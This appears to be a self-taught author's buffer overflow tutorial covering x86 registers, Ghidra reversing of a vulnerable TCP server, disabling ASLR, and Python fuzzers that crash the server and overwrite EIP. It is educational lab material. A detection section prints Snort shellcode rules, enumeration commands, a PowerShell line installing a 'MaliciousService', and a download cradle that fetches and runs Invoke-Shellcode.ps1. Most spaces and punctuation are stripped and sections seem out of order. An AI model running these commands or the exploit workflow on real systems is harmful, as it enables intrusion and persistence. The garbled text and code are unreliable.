1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
